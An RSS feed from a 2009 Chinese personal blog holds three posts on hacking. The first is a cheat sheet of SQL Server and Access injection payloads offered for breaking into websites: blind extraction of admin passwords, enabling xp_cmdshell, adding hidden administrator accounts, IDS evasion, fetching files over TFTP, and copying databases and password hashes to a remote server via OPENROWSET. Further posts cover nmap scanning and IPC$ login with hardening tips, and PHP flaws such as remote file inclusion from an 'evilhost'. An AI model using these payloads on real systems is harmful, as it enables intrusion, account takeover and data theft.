<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[勿忘我]]></title>
<description><![CDATA[勿忘我]]></description>
<link>http://24746393.qzone.qq.com</link>
<lastBuildDate>Sun, 29 Nov 2009 18:15:43 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Sat, 24 Oct 2009 16:32:36 GMT</pubDate>

<item>
<title><![CDATA[入侵网站必备之经典源码]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401956</link>
<description><![CDATA[<br>.判断有无注入点 <br>; and 1=1 and 1=2 <br><br>2.猜表一般的表的名称无非是admin adminuser user pass password 等.. <br>and 0&lt;&gt;(select count(*) from *) <br>and 0&lt;&gt;(select count(*) from admin) ---判断是否存在admin这张表 <br><br>3.猜帐号数目 如果遇到0&lt; 返回正确页面 1&lt;返回错误页面说明帐号数目就是1个 <br>and 0&lt;(select count(*) from admin) <br>and 1&lt;(select count(*) from admin) <br><br>4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. <br>and 1=(select count(*) from admin where len(*) &gt;0)-- <br>and 1=(select count(*) from admin where len(用户字段名称name)&gt;0) <br>and 1=(select count(*) from admin where len(_blank&gt;密码字段名称password)&gt;0) <br><br>5.猜解各个字段的长度 猜解长度就是把&gt;0变换 直到返回正确页面为止 <br>and 1=(select count(*) from admin where len(*)&gt;0) <br>and 1=(select count(*) from admin where len(name)&gt;6) 错误 <br>and 1=(select count(*) from admin where len(name)&gt;5) 正确 长度是6 <br>and 1=(select count(*) from admin where len(name)=6) 正确 <br><br>and 1=(select count(*) from admin where len(password)&gt;11) 正确 <br>and 1=(select count(*) from admin where len(password)&gt;12) 错误 长度是12 <br>and 1=(select count(*) from admin where len(password)=12) 正确 <br><br>6.猜解字符 <br>and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 <br>and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 <br>就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 <br>and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- <br>这个查询语句可以猜解中文的用户和_blank&gt;密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. <br><br>group by users.id having 1=1-- <br>group by users.id, users.username, users.password, users.privs having 1= 1-- <br>; insert into users values( 666, attacker, foobar, 0xffff )-- <br><br>UNION SELECT TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS WHERE TABLE_blank&gt; _NAME=logintable- <br>UNION SELECT TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS WHERE TABLE_blank&gt;_NAME=logintable WHERE COLUMN_blank&gt;_NAME NOT IN (login_blank&gt;_id)- <br>UNION SELECT TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS WHERE TABLE_blank&gt;_NAME=logintable WHERE COLUMN_blank&gt;_NAME NOT IN (login_blank&gt;_id,login_blank&gt;_name)- <br>UNION SELECT TOP 1 login_blank&gt; _name FROM logintable- <br>UNION SELECT TOP 1 password FROM logintable where login_blank&gt;_name=Rahul-- <br><br>看_blank&gt;服务器打的补丁=出错了打了SP4补丁 <br>and 1=(select @@VERSION)-- <br><br>看_blank&gt;数据库连接账号的权限，返回正常，证明是_blank&gt;服务器角色sysadmin权限。 <br>and 1=(SELECT IS_blank&gt;_SRVROLEMEMBER(sysadmin))-- <br><br>判断连接_blank&gt;数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） <br>and sa=(SELECT System_blank&gt;_user)-- <br>and user_blank&gt;_name()=dbo-- <br>and 0&lt;&gt;(select user_blank&gt;_name()-- <br><br>看xp_blank&gt;_cmdshell是否删除 <br>and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank&gt;_cmdshell)-- <br><br>xp_blank&gt;_cmdshell被删除，恢复,支持绝对路径的恢复 <br>;EXEC master.dbo.sp_blank&gt;_addextendedproc xp_blank&gt;_cmdshell,xplog70.dll-- <br>;EXEC master.dbo.sp_blank&gt;_addextendedproc xp_blank&gt;_cmdshell,c: \inetpub\wwwroot\xplog70.dll-- <br><br>反向PING自己实验 <br>;use master;declare @s int;exec sp_blank&gt;_oacreate &quot;wscript.shell&quot;,@s out;exec sp_blank&gt;_oamethod @s,&quot;run&quot;,NULL,&quot;cmd.exe /c ping 192.168.0.1&quot;;-- <br><br>加帐号 <br>;DECLARE @shell INT EXEC SP_blank&gt;_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank&gt; _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- <br><br>创建一个虚拟目录E盘： <br>;declare @o int exec sp_blank&gt;_oacreate wscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w &quot;默认Web站点&quot; -v &quot;e&quot;,&quot;e： \&quot;-- <br><br>访问属性：（配合写入一个webshell） <br>declare @o int exec sp_blank&gt;_oacreate wscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse <br><br>爆库 特殊_blank&gt;技巧：:%5c=\ 或者把/和\ 修改%5提交 <br>and 0&lt; &gt;(select top 1 paths from newtable)-- <br><br>得到库名（从1到5都是系统的id，6以上才可以判断） <br>and 1=(select name from master.dbo.sysdatabases where dbid=7)-- <br>and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br>依次提交 dbid = 7,8,9.... 得到更多的_blank&gt;数据库名 <br><br>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin <br>and 0 &lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 <br>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin <br>and uid&gt;(str (id))) 暴到UID的数值假设为18779569 uid=id <br>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank&gt;_id <br>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in <br>(id,...)) 来暴出其他的字段 <br>and 0&lt;(select user_blank&gt;_id from BBS.dbo.admin where username&gt;1) 可以得到用户名 <br>依次可以得到_blank&gt;密码。。。。。假设存在user_blank&gt;_id username ,password 等字段 <br><br>and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br>and 0&lt;&gt; (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 <br>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) <br>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid&gt;(str(id))) 判断id值 <br>and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 <br><br>?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin <br>?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union，access也好用) <br><br>得到WEB路径 <br>;create table [dbo].[swap] ([swappass][char](255));-- <br>and (select top 1 swappass from swap)=1-- <br>;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank&gt;_regread @rootkey=HKEY_blank&gt;_LOCAL_blank&gt;_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank&gt;_name=/, values=@test OUTPUT insert into paths (path) values(@test)-- <br>;use ku1;-- <br>;create table cmd (str image);-- 建立image类型的表cmd <br><br>存在xp_blank&gt;_cmdshell的测试过程： <br>;exec master..xp_blank&gt;_cmdshell dir <br>;exec master.dbo.sp_blank&gt;_addlogin jiaoniang$;-- 加SQL帐号 <br>;exec master.dbo.sp_blank&gt;_password null,jiaoniang$,1866574;-- <br>;exec master.dbo.sp_blank&gt;_addsrvrolemember jiaoniang$ sysadmin;-- <br>;exec master.dbo.xp_blank&gt;_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- <br>;exec master.dbo.xp_blank&gt;_cmdshell net localgroup administrators jiaoniang$ /add;-- <br>exec master..xp_blank&gt; _servicecontrol start, schedule 启动_blank&gt;服务 <br>exec master..xp_blank&gt;_servicecontrol start, server <br>; DECLARE @shell INT EXEC SP_blank&gt;_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add <br>;DECLARE @shell INT EXEC SP_blank&gt;_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add <br>; exec master..xp_blank&gt;_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 <br><br>;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\ <br>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\ <br>;declare @a;set @a=db_blank&gt;_name();backup database @a to disk=你的IP你的共享目录bak.dat <br>如果被限制则可以。 <br>select * from openrowset (_blank&gt;sqloledb,server;sa;,select OK! exec master.dbo.sp_blank&gt;_addlogin hax) <br><br>查询构造： <br>SELECT * FROM news WHERE id=... AND topic=... AND ..... <br>adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass &lt;&gt; <br>select 123;-- <br>;use master;-- <br>:a or name like fff%;-- 显示有一个叫ffff的用户哈。 <br>and 1&lt;&gt;(select count (email) from [user]);-- <br>;update [users] set email=(select top 1 name from sysobjects where xtype=u and status&gt;0) where name=ffff;-- <br>;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- <br>;update [users] set email=(select top 1 name from sysobjects where xtype=u and id&gt;581577110) where name=ffff;-- <br>;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- <br>;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- <br>;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- <br>上面的语句是得到_blank&gt;数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 <br>通过查看ffff的用户资料可得第一个用表叫ad <br>然后根据表名ad得到这个表的ID 得到第二个表的名字 <br><br>insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- <br>insert into users values( 667,123,123,0xffff)-- <br>insert into users values ( 123, admin--, password, 0xffff)-- <br>;and user&gt;0 <br>;and (select count(*) from sysobjects)&gt;0 <br>;and (select count(*) from mysysobjects)&gt;0 //为access_blank&gt;数据库 <br><br>枚举出数据表名 <br>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);-- <br>这是将第一个表名更新到aaa的字段处。 <br>读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt; &gt;刚才得到的表名）。 <br>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0 and name&lt;&gt;vote);-- <br>然后id=1552 and exists(select * from aaa where aaa&gt;5) <br>读出第二个表，一个个的读出，直到没有为止。 <br>读字段是这样： <br>;update aaa set aaa=(select top 1 col_blank&gt;_name (object_blank&gt;_id(表名),1));-- <br>然后id=152 and exists(select * from aaa where aaa&gt;5)出错，得到字段名 <br>;update aaa set aaa=(select top 1 col_blank&gt;_name(object_blank&gt;_id(表名),2));-- <br>然后id=152 and exists(select * from aaa where aaa&gt;5)出错，得到字段名 <br><br>[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] <br>update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status&gt;0 [ and name&lt;&gt;你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status&gt;0 and name not in(table1,table2,…) <br>通过SQLSERVER注入_blank&gt;漏洞建_blank&gt;数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] <br><br>[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] <br>update 表名 set 字段= (select top 1 col_blank&gt;_name(object_blank&gt;_id(要查询的数据表名),字段列如:1) [ where 条件] <br><br>绕过IDS的检测[使用变量] <br>;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\ <br>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\ <br><br>1、 开启远程_blank&gt;数据库 <br>基本语法 <br>select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) <br>参数: (1) OLEDB Provider name <br>2、 其中连接字符串参数可以是任何端口用来连接,比如 <br>select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table <br>3.复制目标主机的整个_blank&gt;数据库 insert所有远程表到本地表。 <br><br><br>基本语法： <br>insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 <br>这行语句将目标主机上table2表中的所有数据复制到远程_blank&gt;数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2 <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank&gt;_sysdatabases) <br>select * from master.dbo.sysdatabases <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank&gt;_sysobjects) <br>select * from user_blank&gt; _database.dbo.sysobjects <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank&gt;_syscolumns) <br>select * from user_blank&gt; _database.dbo.syscolumns <br>复制_blank&gt;数据库： <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 <br>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 <br><br>复制哈西表（HASH）登录_blank&gt;密码的hash存储于sysxlogins中。方法如下： <br>insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank&gt;_sysxlogins) select * from database.dbo.sysxlogins <br>得到hash之后，就可以进行暴力破解。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401956#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:32:36 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401956</guid>
</item>

<item>
<title><![CDATA[远程入侵Windows XP]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401875</link>
<description><![CDATA[<br>随着各地ADSL网络 的蓬勃发展，实现永久连接、随时在线已不再是遥远的梦，但是，我们必须明白，永久连入Internet同样也意味着遭受入侵的可能性大大增加。知己知彼，方能百战不殆，让我们了解一下黑客入侵ADSL用户的方法和防范手段吧。 <br><br>黑客入侵ADSL用户的方法 <br><br>在很多地方都是包月制的，这样的话，黑客就可以用更长的时间进行端口以及漏洞的扫描，甚至采用在线暴力破解的方法盗取密码，或者使用嗅探工具守株待兔般等待对方自动把用户名和密码送上门。 <br><br>要完成一次成功的网络攻击，一般有以下几步。第一步就是要收集目标的各种信息，为了对目标进行彻底分析，必须尽可能收集攻击目标的大量有效信息，以便最后分析得到目标的漏洞列表。分析结果包括：操作系统类型，操作系统的版本，打开的服务，打开服务的版本，网络拓扑结构，网络设备，防火墙等。 <br><br>黑客扫描使用的主要是TCP/IP堆栈指纹的方法。实现的手段主要是三种： <br><br>1.TCP ISN采样：寻找初始化序列规定长度与特定的OS是否匹配。 <br><br>2.FIN探测：发送一个FIN包（或者是任何没有ACK或SYN标记的包）到目标的一个开放的端口，然后等待回应。许多系统会返回一个RESET（复位标记）。 <br><br>3.利用BOGUS标记：通过发送一个SYN包，它含有没有定义的TCP标记的TCP头，利用系统对标记的不同反应，可以区分一些操作系统。 <br><br>4.利用TCP的初始化窗口：只是简单地检查返回包里包含的窗口长度，根据大小来唯一确认各个操作系统。 <br><br>扫描技术虽然很多，原理却很简单。这里简单介绍一下扫描工具Nmap(Network mapper)。这号称是目前最好的扫描工具，功能强大，用途多样，支持多种平台，灵活机动，方便易用，携带性强，留迹极少；不但能扫描出TCP/UDP端口，还能用于扫描/侦测大型网络。 <br><br>注意这里使用了一些真实的域名，这样可以让扫描行为看起来更具体。你可以用自己网络里的名称代替其中的addresses/names。你最好在取得允许后再进行扫描，否则后果可要你自己承担哦。 <br><br>nmap -v target.example.com <br><br>这个命令对target.example.com上所有的保留TCP端口做了一次扫描，-v表示用详细模式。 <br><br>nmap -sS -O target.example.com/24 <br><br>这个命令将开始一次SYN的半开扫描，针对的目标是target.example.com所在的C类子网，它还试图确定在目标上运行的是什么操作系统。这个命令需要管理员权限，因为用到了半开扫描以及系统侦测。 <br><br>发动攻击的第二步就是与对方建立连接，查找登录信息。现在假设通过扫描发现对方的机器建立有IPC$。IPC$是共享“命名管道”的资源，它对于程序间的通讯很重要，在远程管理计算机和查看计算机的共享资源时都会用到。利用IPC$，黑客可以与对方建立一个空连接（无需用户名和密码），而利用这个空连接，就可以获得对方的用户列表。 <br><br>第三步，使用合适的工具软件登录。打开命令行窗口，键入命令：net use 222.222.222.222ipc$ “administrator” /user:123456 <br><br>这里我们假设administrator的密码是123456。如果你不知道管理员密码，还需要找其他密码破解工具帮忙。登录进去之后，所有的东西就都在黑客的控制之下了。 <br><br>防范方法 <br><br>因为ADSL用户一般在线时间比较长，所以安全防护意识一定要加强。每天上网十几个小时，甚至通宵开机的人不在少数吧，而且还有人把自己的机器做成Web或者ftp服务器供其他人访问。日常的防范工作一般可分为下面的几个步骤来作。 <br><br>步骤一，一定要把Guest帐号禁用。有很多入侵都是通过这个帐号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具，那还是禁止的好。打开控制面板，双击“用户和密码”，选择“高级”选项卡。单击“高级”按钮，弹出本地用户和组窗口。在Guest帐号上面点击右键，选择属性，在“常规”页中选中“帐户已停用”。 <br><br>步骤二，停止共享。Windows 2000安装好之后，系统会创建一些隐藏的共享。点击开始→运行→cmd，然后在命令行方式下键入命令“net share”就可以查看它们。网上有很多关于IPC入侵的文章，都利用了默认共享连接。要禁止这些共享，打开管理工具→计算机管理→共享文件夹→共享，在相应的共享文件夹上按右键，点“停止共享”就行了。 <br><br>步骤三，尽量关闭不必要的服务，如Terminal Services、IIS（如果你没有用自己的机器作Web服务器的话）、RAS（远程访问服务）等。还有一个挺烦人的Messenger服务也要关掉，否则总有人用消息服务发来网络广告。打开管理工具→计算机管理→服务和应用程序→服务，看见没用的就关掉。 <br><br>步骤四，禁止建立空连接。在默认的情况下，任何用户都可以通过空连接连上服务器，枚举帐号并猜测密码。我们必须禁止建立空连接，方法有以下两种： <br><br>(1)修改注册表： <br><br>HKEY_Local_MachineSystemCurrent-ControlSetControlLSA下，将DWORD值RestrictAnonymous的键值改成1。 <br><br>(2)修改Windows 2000的本地安全策略： <br><br>设置“本地安全策略→本地策略→选项”中的RestrictAnonymous（匿名连接的额外限制）为“不容许枚举SAM账号和共享”。 <br><br>步骤五，如果开放了Web服务，还需要对IIS服务进行安全配置： <br><br>(1) 更改Web服务主目录。右键单击“默认Web站点→属性→主目录→本地路径”，将“本地路径”指向其他目录。 <br><br>(2) 删除原默认安装的Inetpub目录。 ? <br><br>(3) 删除以下虚拟目录: _vti_bin、IISSamples、Scripts、IIShelp、IISAdmin、IIShelp、MSADC。 <br><br>(4) 删除不必要的IIS扩展名映射。方法是：右键单击“默认Web站点→属性→主目录→配置”，打开应用程序窗口，去掉不必要的应用程序映射。如不用到其他映射，只保留.asp、.asa即可。 <br><br>(5) 备份IIS配置。可使用IIS的备份功能，将设定好的IIS配置全部备份下来，这样就可以随时恢复IIS的安全配置。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401875#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:31:15 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401875</guid>
</item>

<item>
<title><![CDATA[PHP程序的常见漏洞攻击分析 - PHP高级应用]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401775</link>
<description><![CDATA[<br><span style="font-weight:bold"><wbr />综述：</span><wbr />PHP程序也不是固若金汤，随着PHP的广泛运用，一些黑客们也在无时不想找PHP的麻烦，通过PHP程序漏洞进行攻击就是其中一种。在节，我们将从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性。 <br><br>　　如何通过全局变量进行攻击？ <br><br>　　PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。 <br><br>　　很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。 <br><br>　　例如： <br><br>＜FORM METHOD=&quot;GET&quot; ACTION=&quot;test.php&quot;＞<br>＜INPUT TYPE=&quot;TEXT&quot; NAME=&quot;hello&quot;＞<br>＜INPUT TYPE=&quot;SUBMIT&quot;＞<br>＜/FORM＞ <br>　　这会显示一个文本框和提交按钮。当用户点击提交按钮时，&quot;test.php&quot;会处理用户的输入，当&quot;test.php&quot;运行时，&quot;$hello&quot;会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用&quot;test.php&quot;，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&amp;setup=no，那么，不止是&quot;$hello&quot;被创建，&quot;$setup&quot;也被创建了。 <br><br>　　下面的用户认证代码暴露了PHP的全局变量所导致的安全问题： <br><br>＜?php<br>if ($pass == &quot;hello&quot;)<br>$auth = 1;<br>...<br>if ($auth == 1)<br>echo &quot;some important information&quot;;<br>?＞ <br>　　上面的代码首先检查用户的密码是否为&quot;hello&quot;，如果匹配的话，设置&quot;$auth&quot;为&quot;1&quot;，即通过认证。之后如果&quot;$suth&quot;为&quot;1&quot;的话，就会显示一些重要信息。 <br><br>　　这段代码假定&quot;$auth&quot;在没有设置值的时候是空的，但是攻击者可以创建任何全局变量并赋值，通过类似&quot;http://server/test.php?auth=1&quot;的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。 <br><br>　　因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。 <br><br>　　一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开&quot;track_vars&quot;选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。 <br><br>　　但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量；HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。 如何通过远程文件进行攻击？ <br><br>　　PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者很容易实现特定功能。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就佐证这个问题的一个很好例子： <br><br>＜?php<br>if (!($fd = fopen(&quot;$filename&quot;, &quot;r&quot;))<br>echo(&quot;Could not open file: $filename<br>\n&quot;);<br>?＞ <br>　　上面的脚本试图打开文件&quot;$filename&quot;，如果失败就显示错误信息。很明显，如果我们能够指定&quot;$filename&quot;的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。 <br><br>　　例如： <br><br>　　如果指定&quot;$filename&quot;为 &quot;http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir&quot; <br><br>　　则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。 <br><br>　　例如： <br><br>＜?php<br>include($libdir . &quot;/languages.php&quot;);<br>?＞<br>　　上例中&quot;$libdir&quot;一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得&quot;$libdir&quot;没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的&quot;Poisonnull byte&quot;攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容： <br><br>＜?php<br>passthru(&quot;/bin/ls /etc&quot;);<br>?＞ <br>　　然后把&quot;$libdir&quot;设置为&quot;http://＜evilhost＞/&quot;，这样我们就可以在目标主机上执行上面的攻击代码，&quot;/etc&quot;目录的内容将作为结果返回到客户的浏览器中。 <br><br>　　需要注意的是，攻击代码是不会在自身所在的服务器（也就是evilhost）上执行执行自身PHP程序的，否则，攻击代码会攻击自身所在的服务器，而不是在目标服务器执行。 <br><br>　　如何通过文件上载进行攻击？ <br><br>　　PHP自动支持基于RFC 1867的文件上载，我们看下面的例子： <br><br>＜FORM METHOD=&quot;POST&quot; ENCTYPE=&quot;multipart/form-data&quot;＞<br>＜INPUT TYPE=&quot;FILE&quot; NAME=&quot;hello&quot;＞<br>＜INPUT TYPE=&quot;HIDDEN&quot; NAME=&quot;MAX_FILE_SIZE&quot; VALUE=&quot;10240&quot;＞<br>＜INPUT TYPE=&quot;SUBMIT&quot;＞<br>＜/FORM＞ <br>　　上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过&quot;$MAX_FILE_SIZE variable&quot;定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。 <br>　　因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。 <br><br>　　让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且是存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似&quot;phpxXuoXG&quot;的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。 <br><br>　　大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子： <br><br>$hello = Filename on local machine (e.g &quot;/tmp/phpxXuoXG&quot;)<br>$hello_size = Size in bytes of file (e.g 1024)<br>$hello_name = The original name of the file on the remote system (e.g&quot;c:\\temp\\hello.txt&quot;)<br>$hello_type = Mime type of uploaded file (e.g &quot;text/plain&quot;) <br>　　然后，PHP程序开始处理根据&quot;$hello&quot;指定的文件。问题在于&quot;$hello&quot;不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式： <br><br>http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=<br>text/plain&amp;hello_name=hello.txt <br>　　就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））： <br><br>$hello = &quot;/etc/passwd&quot;<br>$hello_size = 10240<br>$hello_type = &quot;text/plain&quot;<br>$hello_name = &quot;hello.txt&quot; <br>　　上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理本应在上载者本机上的上载文件，而是处理服务器上&quot;/etc/passwd&quot;（通常会导致内容暴露）文件。这种攻击可以用于暴露任何敏感文件的内容。 <br><br>　　新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法，所以也很容易受到这种攻击。 <br><br>　　作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：<br><br>＜?php<br>if (file_exists($theme)) // Checks the file exists on the local system (noremote files)<br>include(&quot;$theme&quot;);<br>?＞ <br>　　